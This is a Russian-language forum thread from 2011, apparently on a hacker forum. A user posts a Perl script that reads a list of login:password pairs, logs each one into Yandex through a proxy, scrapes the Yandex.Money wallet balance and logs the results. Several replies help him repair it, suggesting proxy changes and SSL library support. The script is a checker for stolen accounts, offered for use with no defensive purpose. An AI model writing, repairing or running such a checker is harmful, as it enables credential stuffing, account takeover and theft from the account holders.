Помогите подправить

Discussion in 'PHP' started by Hapk, 25 Jul 2011.

  1. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    288
    Likes Received:
    42
    Reputations:
    -5
    Вот есть такой скриптик на перле яндек чекер баланса помогите подправить
    дело в том что он не определяет баланс на кошельке


    #!/usr/bin/perl

    use LWP::UserAgent;
    use HTTP::Cookies;

    ######################
    #writen#by#popkorn####
    ######################

    $url['0'] = 'https://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru';
    $url['1'] = 'http://money.yandex.ru/';
    $proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line

    my $ua = LWP::UserAgent->new;
    my $cookie_jar = HTTP::Cookies->new;

    $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');

    push @{ $ua->requests_redirectable }, 'POST';

    if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
    $ua->proxy('http', "http://$proxy/"); };

    open(ACCS, "<accs.txt");
    open(LOG, ">logs.txt");

    @accs = <ACCS>; close (ACCS);

    foreach (@accs){

    ($login, $pass) = split(':',$_);

    $pass =~ s/ |\n//;


    $ua->cookie_jar($cookie_jar);

    $ua->post( $url['0'],
    [login => $login,
    passwd => $pass]);

    my $response = $ua->post($url['1']);

    $content = $response->content;

    $sum = 'koshel\'ka net';

    while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};

    print LOG "$login:$pass:$sum\n";
    print "$login:$pass:$sum\n";
    $sum = '0 =(';

    $cookie_jar->clear_temporary_cookies;

    }

    close (LOG);
     
    #1 Hapk, 25 Jul 2011
    Last edited: 25 Jul 2011
  2. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    он не проходит этап атворизации
    у яндекса сейчас совсем не простая авторизация
     
    #2 4upakabr0, 25 Jul 2011
    Last edited: 25 Jul 2011
  3. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    288
    Likes Received:
    42
    Reputations:
    -5
    а ты проксю пробовал поменять?
     
  4. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    а ты попробуй пока без прокси, на одном акке
     
  5. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    288
    Likes Received:
    42
    Reputations:
    -5
    на авторизацию вот это надо написать
    https://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru
     
  6. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    288
    Likes Received:
    42
    Reputations:
    -5
    ну что кто шарит тут таких нету?
     
  7. mindw0rk

    mindw0rk Elder - Старейшина

    Joined:
    8 Jun 2007
    Messages:
    63
    Likes Received:
    50
    Reputations:
    1
    HTTPS не подключен:
    http://johnbokma.com/perl/https.html
     
  8. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    288
    Likes Received:
    42
    Reputations:
    -5
    ну а как сделать чтоб работало?
     
  9. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Ну вот пля http://theoryx5.uwinnipeg.ca/ppmpackages/Crypt-SSLeay.ppd
    либу себе установи.